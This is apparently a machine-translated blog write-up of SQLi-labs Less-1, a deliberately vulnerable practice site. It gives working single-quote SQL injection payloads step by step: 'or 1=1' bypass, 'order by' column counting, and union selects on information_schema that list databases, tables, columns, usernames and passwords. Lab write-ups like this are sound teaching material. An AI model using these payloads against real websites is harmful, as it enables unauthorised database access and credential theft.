当前位置:网站首页>SQL labs SQL injection platform - level 1 less-1 get - error based - Single Quotes - string (get single quote character injection based on errors)
SQL labs SQL injection platform - level 1 less-1 get - error based - Single Quotes - string (get single quote character injection based on errors)
2022-07-27 07:42:00 【Big white】
Remember to php.in Escape parameters in magic_quotes_gpc configure Off:
Otherwise, the symbols in the sent request parameters will be added \ escape , Therefore, it cannot be directly spliced to SQL Go in the statement
Less-1 GET - Error based - Single quotes - String( Based on error GET Single quote character Injection )

The first level prompts us to enter ID As parameters and values
Inquire about id=1:
Shows
Your Login name:Dumb
Your Password:Dumb
Inquire about id=1’
There is an error , Output 1’ Spliced into ’1’’ LIMIT 0,1
limit 0,1, From the number in your watch 0 Data start , Read only one
Inquire about 1’ and ‘1’='2
No results
Inquire about 1’ and ‘1’='1
Normal return result
It is proved that the query results can be successfully spliced
Inquire about 1’ or 1=1; --+ All data in the table can be returned
SELECT * FROM users WHERE id='1' or 1=1; -- ' LIMIT 0,1

But in the source code mysql_fetch_array Function gets only one row from the result set at a time as an associative array :
So only one row of data will be displayed on the front end at a time
Next, let's query how many columns of data there are in this table , First, return the result according to 1,2,3 Column sorting :
Inquire about
1' order by 3;--+

All return normally , Prove that there are at least three columns of data in the table
Inquire about
1' order by 4;--+

No first 4 Column , Explain that there are only three columns of data in the table
So let's use union Join query to find the data in the table
Inquire about
0' union select 1,2,3 --+

Inquire about 3 Column return data , Only 2 and 3, It means that our injection point can only be 2 and 3
2、 Guess database
Query the current database name
0' union select 1,database(),3 --+

The current database name is security
You can also view the names of all databases :
0' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

Get the names of all databases :information_schema,challenges,mysql,performance_schema,security,sys
3、 Guess database tables ︰
Then check security Table name under database
id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

obtain security Table name under database :emails,referers,uagents,users
4、 Guess fields
see users What fields are there under the table
id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="security" and table_name="users" --+

Next, we can read the values of user name and password
id=0' union select 1,group_concat(username),3 from security.users --+

Read the value of the password :
id=0' union select 1,group_concat(password),3 from security.users --+

Successfully read the field value in the database
边栏推荐
- 记录一个自己挖的坑~
- What are the main threads of Youxuan database?
- Closed hash and open hash resolve hash conflicts
- Help send a recruitment, base all over the country. If you are interested, you can come and have a look
- drawImage方法第一次调用不显示图片的解决方式
- Zabbix: map collected values to readable statements
- Am I delayed by the code... Unfortunately, I became a programmer
- 次轮Okaleido Tiger即将登录Binance NFT,引发社区热议
- [golang learning notes 2.0] arrays and slices in golang
- Prior Attention Enhanced Convolutional Neural Network Based Automatic Segmentation of Organs at Risk
猜你喜欢

STM32_找到导致进入HardFault_Handler的函数

Regular expression foundation sorting

利用 Amazon DynamoDB 和 Amazon S3 结合 gzip 压缩,最大化存储玩家数据

User unlock sm04 sm12

IO中节点流和处理流的理解学习

C common function integration-2

DASCTF2022.07赋能赛密码wp

Codeforces Round #810 (Div.2) A-C

次轮Okaleido Tiger即将登录Binance NFT,引发社区热议

【QT】capture. Obj:-1: error: lnk2019: unresolved external symbols__ imp_ Htons (solution)
随机推荐
js正则表达式实现每三位数字加一个逗号
Understanding and learning of properties class and properties configuration file
Chapter 6 Shell Logic and Arithmetic
SQLite common function integration
一体化实时HTAP数据库StoneDB,如何替换MySQL并实现近百倍分析性能的提升
Flink1.14 SQL basic syntax (I) detailed explanation of Flink SQL table query
[golang learning notes 2.1] sorting and searching in arrays in golang
Using soci to connect Oracle with PostgreSQL and SQLite on rhel8
Plato farm is expected to further expand its ecosystem through elephant swap
什么是真正的 HTAP ?(二)挑战篇
[golang learning notes 2.0] arrays and slices in golang
linux中mysql表名区不区分大小写
UUID and secrets module
glGetUniformLocation,glUniform4f
Installation and use of apifox
sql语句批量更新 时间减去1天
A priority SQL problem
Record a pit dug by yourself~
电子量产项目框架--基本思想
C language implementation of guessing numbers Games project practice (based on srand function, rand function, switch statement, while loop, if condition criterion, etc.)